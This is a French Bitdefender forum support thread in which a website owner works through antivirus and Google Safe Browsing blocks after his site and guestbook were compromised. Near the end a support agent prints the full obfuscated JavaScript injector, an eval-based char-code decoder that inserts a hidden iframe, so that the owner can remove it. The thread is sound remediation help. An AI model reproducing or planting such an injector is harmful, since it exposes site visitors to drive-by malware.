Problème Avec Un Site Non Accessible
Bonjour,
Nous avons installé depuis quelques jours Bitdefender 2013 sur ma machine. Mon site personnel avait été infecté par un trojan mais a été netoyé.
Je l'ai scanné plusieurs fois avec différents outils en ligne et j'ai, à chaque fois, eu la confirmation que mon site était maintenant propre.
Toutefois, je ne peux toujours pas accéder à mon site car Bitdefender m'en refuse l'accès...
Que puis-je faire ?
Site : http://www.arnwald.be
Merci d'avance.
Arnaud
Réponses
-
bonjour arnawal,
Bonjour,
Nous avons installé depuis quelques jours Bitdefender 2013 sur ma machine. Mon site personnel avait été infecté par un trojan mais a été netoyé.
Je l'ai scanné plusieurs fois avec différents outils en ligne et j'ai, à chaque fois, eu la confirmation que mon site était maintenant propre.
Toutefois, je ne peux toujours pas accéder à mon site car Bitdefender m'en refuse l'accès...
Que puis-je faire ?
Site : http://www.arnwald.be
Merci d'avance.
Arnaud
effectivement ton site est bloquer par bd.
je pense a un faux positif.
bon week end.0 -
re bonjour arnawald,bonjour arnawal,
effectivement ton site est bloquer par bd.
je pense a un faux positif.
bon week end.
-yann- pourra faire remonter l'info au developpeur lundi matin car le week end il n'y a personne du support technique.
bon week end.0 -
Apparemment un autre antivirus (allemand) n'aime pas non plus ce site, les rubriques ne sont pas accessibles.
ATTENTION TROJANS!!!0 -
trojan.Agent.JS.ED
0 -
bonjour,
c'est normal que l'autre editeur antivirus detecte la mm chose car il a le moteurs d’analyse antivirus de bitdefender (moteur a).
bon week end.0 -
bonjour,bonjour,
c'est normal que l'autre editeur antivirus detecte la mm chose car il a le moteurs d’analyse antivirus de bitdefender (moteur a).
bon week end.
moi je pense a un faux positif,apres je ne suis pas un expert.
le support technique pourra analyser tous cela et dira si oui ou non il y a infection ou faux positif.
bon week end.0 -
Merci beaucoup. J'attendrai la semaine prochaine alors histoire de savoir ce que dit le support technique...
Auaparavant, avec le trojan, le site était tout déstructuré mais depuis que j'ai netoyé, apparemment, il est normal selon des personnes qui ont pu le visiter.
Toutefois, s'il est effectivement encore infecté, quelles sont mes options ?0 -
bonsoir arnawald,
Merci beaucoup. J'attendrai la semaine prochaine alors histoire de savoir ce que dit le support technique...
Auaparavant, avec le trojan, le site était tout déstructuré mais depuis que j'ai netoyé, apparemment, il est normal selon des personnes qui ont pu le visiter.
Toutefois, s'il est effectivement encore infecté, quelles sont mes options ?
pour je pense a un faux positif,apres d'autres personnes pensent autrement.
comme je le dit plus haut je ne suis pas expert,les experts sont les personnes du support technique.
quel etais le nom du trojan?
apres tu peut faire un scan du systeme.
des que le scan est terminer envoye le rapport.
bonne soiree et bon week end.0 -
Bonjour Arnawald,
Nous allons vérifier ce site et s'il s'agit d'un faux positif, il ne sera plus détecté dans la journée.
Sinon concernant votre message, il n'est pas posté au bon endroit, je le déplace.
Ensuite, merci d'éviter d'écrire tout en gras l'ensemble de votre message, cela ne se fait pas.
Cordialement,
Yann0 -
Bonjour Arnawald,
Nous allons vérifier ce site et s'il s'agit d'un faux positif, il ne sera plus détecté dans la journée.
Sinon concernant votre message, il n'est pas posté au bon endroit, je le déplace.
Ensuite, merci d'éviter d'écrire tout en gras l'ensemble de votre message, cela ne se fait pas.
Cordialement,
Yann
Merci beaucoup, je peux enfin accéder à mon site. par contre, mon guestbook reste bloqué...
Pourriez-vous jeter un coup d'oeil si il s'agit du même problème ?
Merci encore.0 -
bonsoir arnawald,
Merci beaucoup, je peux enfin accéder à mon site. par contre, mon guestbook reste bloqué...
Pourriez-vous jeter un coup d'oeil si il s'agit du même problème ?
Merci encore.
effectivement bitdefender bloque ton guestbook,Trojan.Agent.JS.ED.
-yann- pourra t'en dir plus la semaine prochaine.
bon week end.0 -
bonsoir arnawald,
effectivement bitdefender bloque ton guestbook,Trojan.Agent.JS.ED.
-yann- pourra t'en dir plus la semaine prochaine.
bon week end.
Ok, merci. Car je ne sais pas trop comment je peux désinfecter celui-ci, si il est vraiment infecté...0 -
bonjour arnawald,
Ok, merci. Car je ne sais pas trop comment je peux désinfecter celui-ci, si il est vraiment infecté...
je ne pense pas que tu soit infecter.
essaye de scanner le systeme et post le rapport içi.
bon week end.0 -
Bonjour Arnawald,
Nous allons vérifier la page correspondant à votre guestbook, s'il s'agit d'un faux positif, il sera débloqué demain.
Cordialement,
Yann0 -
Bonjour Arnawald,
Nous allons vérifier la page correspondant à votre guestbook, s'il s'agit d'un faux positif, il sera débloqué demain.
Cordialement,
Yann
Bonjour,
Maintenant, mon site est blacklisté par google... et j'ai aucune idée de comment je peux arranger ça... Je ne sais pas à quoi c'est dû car je n'ai pas modifié mon site depuis un bail...
Est-ce que quelqu'un pourrait me donner un coup de main ?
Merci d'avance...
Arnaud0 -
bonsoir arnawald,
Bonjour,
Maintenant, mon site est blacklisté par google... et j'ai aucune idée de comment je peux arranger ça... Je ne sais pas à quoi c'est dû car je n'ai pas modifié mon site depuis un bail...
Est-ce que quelqu'un pourrait me donner un coup de main ?
Merci d'avance...
Arnaud
je viens de voir que si l'on veut acceder a ton site il y a un avertissement de google.
moi a mon niveau je ne peut rien faire,il faut attendre demain pour que -yann- t'en disent plus.
si possible essaye de venir regulierement sur le forum,car si -yann- t'envoye des procedures a effectuer et que tu viens quelques jours apres ton probleme risque de durer longtemps.
bonne soiree.0 -
bonsoir arnawald,
je viens de voir que si l'on veut acceder a ton site il y a un avertissement de google.
moi a mon niveau je ne peut rien faire,il faut attendre demain pour que -yann- t'en disent plus.
si possible essaye de venir regulierement sur le forum,car si -yann- t'envoye des procedures a effectuer et que tu viens quelques jours apres ton probleme risque de durer longtemps.
bonne soiree.
Certes, mais son dernier message parlait d'une vérification de la page du guestbook, j'attendais de voir si il y avait un quelconque résultat.
Merci pour ta réponse rapide. J'attendrai donc demain voir ce qu'il en est.
Bonne soirée !0 -
bonsoir arnawald,
Certes, mais son dernier message parlait d'une vérification de la page du guestbook, j'attendais de voir si il y avait un quelconque résultat.
Merci pour ta réponse rapide. J'attendrai donc demain voir ce qu'il en est.
Bonne soirée !
ok je pense que demain -yann- t'en dira plus.
bonne soiree.0 -
Si ça peut aider, j'ai scanné mon site avec URL Void et il m'a trouvé "Blackhole Exploit Kit".
Concernant Google, j'ai suivi les liens jusqu'aux outils du webmaster. Ca m'a amené à voir qu'ils avaient repéré un lien lié à un logiciel malveillant. J'ai viré la page étant donné que c'était un résidu d'une ancienne mouture du site.
Voilà, comme ça, vous avez plus de détails.
Merci encore.
Arnaud0 -
Bonjour Arnawald,
Le site n'est plus détecté à l'heure à laquelle je vous écris.
Il a effectivement, il y a 5 mois, été bloqué par Google Safebrowsing également, parce qu'il était certainement infecté.
Cordialement,
Yann0 -
Bonjour Arnawald,
Le site n'est plus détecté à l'heure à laquelle je vous écris.
Il a effectivement, il y a 5 mois, été bloqué par Google Safebrowsing également, parce qu'il était certainement infecté.
Cordialement,
Yann
Bonjour Yann,
Je viens de lire votre réponse, mais en allant, dans la foulée sur mon site en ligne, je reçois toujours une annonce de page malveillante.
Lorsque je recherche sur google, l'avertissement est également toujours présent...
Arnaud0 -
Bonjour Arnawald,
Concernant le blocage de Google, vous êtes vous rendur sur cette adresse pour contacter Google ?
Egalement, essayez cette adresse :
http://www.stopbadware.org/firefox?hl=fr&url=http%3A%2F%2Fwww.arnwald.be%2FMenu4-fr.html
Concernant Bitdefender, je vous confirme que le site n'est plus bloqué, videz le cache de votre navigateur et actualisez la page.
Cordialement,
Yann0 -
Oui, j'ai suivi les instructions et supprimé la page infectée selon eux.
Il est indiqué que je peux demander un scann de google pour rétablir la situation, mais vu que j'ai scanné mon site avec l'outil en ligne URL Void et qu'il me trouve ce "Blackhole Exploit Kit", je pense que le site ne doit pas encore être sain, ou me tromperais-je ? Je ne sais pas vraiment ce qu'est cette menace exactement...0 -
Bonjour Arnawald,
Envoyez-moi le résultat (en copie d'écran) de ce scan réalisé en ligne.
Merci.
Cordialement,
Yann0 -
envoyé.
Merci.0 -
Bonjour Arnawald,
Avg doit se baser sur le blocage de Google Safebrowsing, car il est le seul encore à considérer que votre site est infecté (il faut qu'ils mettent à jour leur base pour retirer votre sitte). Voici le résultat du scan fait par les différents scanner web par l'intermédiaire de Virus Total :
Cordialement,
Yann0 -
Ok, merci, donc, je ne dois plus que demander à Google de rescanner mon site ?
0 -
Bonjour Arnawald,
A priori Mcaffee site advisor aurait blacklisté votre site également, d'après la vérification faite sur ce site :
http://sitecheck.sucuri.net/scanner/
Mais de notre côté, je vous rappelle que votre site n'est plus détecté.
Cordialement,
Yann0 -
Bonjour Arnawald,
Oui il faut demander à Google de revérifier votre site pour qu'ils le retire de leur blacklist.
Cordialement,
Yann0 -
Ok... merci...
Il faut que je les contacte également donc ou via google tout sera dans l'ordre ?0 -
Bonjour Arnawald,
Je ne peux pas vous donner plus d'informations concernant Mcaffee, je ne sais pas comment ils fonctionnent.
Cordialement,
Yann0 -
Ok, un grand merci pour votre aide en tous cas !
Si je peux me permettre encore une question, rien à voir cependant avec mon site...
Mais lorsque je recherche quelque chose sur google, parfois bitdefender me montre un point vert ou rouge, donc pour la santé des sites, mais souvent, je n'ai pas ces indications...
Pouvez-vous me dire si c'est normal ?0 -
bonjour -yann- et arnawald,
Bonjour Arnawald,
Je ne peux pas vous donner plus d'informations concernant Mcaffee, je ne sais pas comment ils fonctionnent.
Cordialement,
Yann
c'est bizarre car hier soir j'ai scanner le site avec virustotal et rien n'a etes trouver resultat a 0.
bonne journee.0 -
Bonjour Arnawald,
Cela arrive que search advisor n'est pas le temps d'afficher les informations sur la recherche effectuée, actualisez la page quand cela arrive.
Cordialement,
Yann0 -
Ok, merci beaucoup pour toutes ces indications !
Bonne journée !0 -
Voilà, mon site est débloqué.
Toutefois, mon guestbook reste bloqué par bitdefender, c'est normal ?0 -
bonsoir arnawald,
Voilà, mon site est débloqué.
Toutefois, mon guestbook reste bloqué par bitdefender, c'est normal ?
regarde dans les parametres puis dans vie privee si search advisor et sur on ou off.
bonne soiree.0 -
bonsoir arnawald,
Voilà, mon site est débloqué.
Toutefois, mon guestbook reste bloqué par bitdefender, c'est normal ?
effectivement ton guestbook est encore bloquer par bd,mais ton site est encore blacklister par macaffe.
par contre le scan virustotal ne donne rien.
-yann- t'en dira plus demain.
bonne soiree.0 -
Bonjour.
Alors... Je ne le fais pas exprès et pour tout dire, ça commence vraiment à me peser...
J'ai fait rescanner par google, le site a été "libéré" des annonces de blocage... et aujourd'hui, je retourne sur mon site... de nouveau l'avertissement de page malveillante....
J'en ai marre... Je n'ai rien changé à mon site depuis belle lurette, j'ai rescanné avec virus total et cette fois CLEAN MX me trouve un virus.
Apparemment, mon site a été scanné via virus total hier, mais pas par mes soins...
Serait-ce à cause de mon guestbook toujours bloqué par Bitdefender?
Bonne journée.
Arnaud0 -
Bonjour Arnawald,
Je me renseigne pour la partie Guestbook, pour savoir si son blocage est légitime ou non.
Effectivement le site est de nouveau repéré par malveillant par Google.
Cordialement,
Yann0 -
Ok, merci.
Et pour le malware qui est probablement sur mon site, comment puis-je savoir ce qui est à virer.
Est-ce que ça suffirait que je vire tout mon site, que je remette tous les fichiers de mon pc en changeant les mots de passe ?
J'ai contacté OVH, mais ils sont d'une piètre aide. A part me renvoyer vers des liens généraux qui n'ont pas grand chose à voir avec mes problèmes...
Je pense qu'à l'avenir je changerai d'hébergeur, vu le peu d'importance qu'ils accordent à l'aide envers leur clients...0 -
Bonjour Yann,
Aurais-tu des nouvelles concernant mon guestbook?
Merci.
Arnaud0 -
Toujours rien pour le guestbook bloqué par Bitdefender?
0 -
Bonjour Arnawald,
J'ai relancé mes collègues car lors de mon dernier message, cette partie de votre site n'était plus détectée.
Cordialement,
Yann0 -
Bonjour Arnawald,
Je vous informe qu'après nouvelle analyse, la page permettant d'afficher votre Guestbook (http://www.arnwald.be/agb/index.php) est logiquement bloqué. Un ****** est présent à la fin du code, il injecte un Iframe que je vous donne ci-dessous. Il faudrait vérifier la sécurité de votre site, car ce ****** a été injecté certainement en utilisant une faille présente dans votre code ou les ressources que vous utilisez. Vérifiez les logs de vos serveurs pour voir s'il y a eu des accès bizarres, puis changez les login et mot de passe d'accès à votre compte chez votre hébergeur.
Voici le code de ce ****** qui se trouve tout à la fin du code de votre page que vous devez supprimer :
<****** type="text/javascript" language="javascript" > v="v"+"al";if(020===0x10&&window.document)try{window.document.body=window.document.body}catch(gdsgsdg)
{w=window;v="e"+v;e=w[v];}if(1){f=new Array(40,101,115,110,98,114,105,110,108,32,39,39,32,122,11,10,31,30,32,31,116,97
,113,30,98,98,120,111,118,30,61,31,98,111,98,115,109,100,108,116,45,97,114,100,95
,116,100,67,108,100,107,101,109,114,40,38,103,102,113,95,109,100,37,41,58,11,10,1
2,8,32,31,30,32,97,97,122,110,117,46,114,112,99,31,59,32,38,102,116,115,110,58,46
,45,118,115,113,46,114,99,47,118,110,45,98,109,110,115,99,110,115,45,99,107,105,4
6,111,102,112,38,57,13,9,30,32,31,30,98,98,120,111,118,44,115,115,119,108,100,44,
112,110,113,105,115,103,111,109,30,61,31,37,97,97,113,111,107,115,116,100,37,59,1
2,8,32,31,30,32,97,97,122,110,117,46,114,114,121,107,99,46,97,109,114,99,99,114,3
1,59,32,38,46,39,58,11,10,31,30,32,31,96,99,121,109,119,45,113,116,120,106,101,45
,102,101,104,101,104,115,30,61,31,37,49,111,118,39,58,11,10,31,30,32,31,96,99,121
,109,119,45,113,116,120,106,101,45,117,105,99,114,104,31,59,32,38,47,112,119,37,5
9,12,8,32,31,30,32,97,97,122,110,117,46,114,114,121,107,99,46,107,99,102,115,30,6
1,31,37,49,111,118,39,58,11,10,31,30,32,31,96,99,121,109,119,45,113,116,120,106,1
01,45,114,111,111,30,61,31,37,49,111,118,39,58,11,10,12,8,32,31,30,32,104,100,32,
39,31,100,110,97,117,108,99,110,115,44,103,100,114,69,107,99,109,100,108,116,65,1
19,73,99,38,39,97,97,122,110,117,39,40,39,32,122,11,10,31,30,32,31,30,32,31,30,10
0,110,97,117,108,99,110,115,44,119,113,103,116,100,38,39,59,98,105,117,30,105,99,
59,92,38,96,99,121,109,119,91,37,62,59,45,100,104,116,62,38,39,59,12,8,32,31,30,3
2,31,30,32,31,98,111,98,115,109,100,108,116,45,101,101,115,67,108,100,107,101,109
,114,66,120,71,100,39,37,98,98,120,111,118,37,41,45,95,112,111,99,110,99,65,104,1
04,106,100,39,96,99,121,109,119,40,57,13,9,30,32,31,30,125,12,8,125,40,38,41,58);
}w=f;s=[];for(i=0;-i+494!=0;i+=1){j=i;if(e&&(031==0x19))s=s+String.fromCharCode((1*w[j]+j%3));}e(s)</******>
Cordialement,
Yann0 -
Merci beaucoup.
Apparemment, tout le dossier de mon guestbook est infecté. J'ai essayé de le rapatrier sur mon ordinateur pour désinfecter et ainsi éviter de perdre les messages, mais Bitdefender m'a quasi tout viré...
Existe-t-il une solution où je pourrais encore récupérer les messages ou est-ce perdu d'avance ?0 -
bonsoir arnawald,
Merci beaucoup.
Apparemment, tout le dossier de mon guestbook est infecté. J'ai essayé de le rapatrier sur mon ordinateur pour désinfecter et ainsi éviter de perdre les messages, mais Bitdefender m'a quasi tout viré...
Existe-t-il une solution où je pourrais encore récupérer les messages ou est-ce perdu d'avance ?
regarde si bd ne les aurait pas mis en quarantaine.
bonne soiree.0 -
Bonjour Arnawald,
Il faut simplement rapatrier la page d'index de votre guestbook et supprimer le ****** qui apparaît à la fin de la page (celui que je vous ai indiqué) pour ensuite réinjecter la page sur votre espace d'hébergement. Je ne vois pas de commentaires infectés (ou plutôt comportant du code suspect). D'ailleurs il faudrait vous poser des questions sur la sécurité des scripts que vous avez insérer dans votre site, notamment celui qui vous permet d'avoir ce guestbook.
Je ne peux vous en dire plus, nous ne pouvons offrir de services de sécurisation de site, mais vous pourrez sans doute trouver de l'aide sur internet à ce sujet.
Cordialement,
Yann0 -
Ok, encore un tout grand merci pour votre précieuse aide !
Bon week-end
Arnaud0
Leaders
Catégories
- Toutes les catégories
- 613 Windows
- 33 Mac
- 93 Mobile Security
- 232 VPN
- 240 Central et abonnements
- 137 Autres produits et services
- 77 Équipe de recherche sur la sécurité
- 28 Fonctionnalités du produit et idéation
- 84 Thèmes généraux
- 7.2K Particuliers & bureau à domicile
- 574 Malwares et envoi dexemples
- 2.7K Vieux sujets
- Archiver
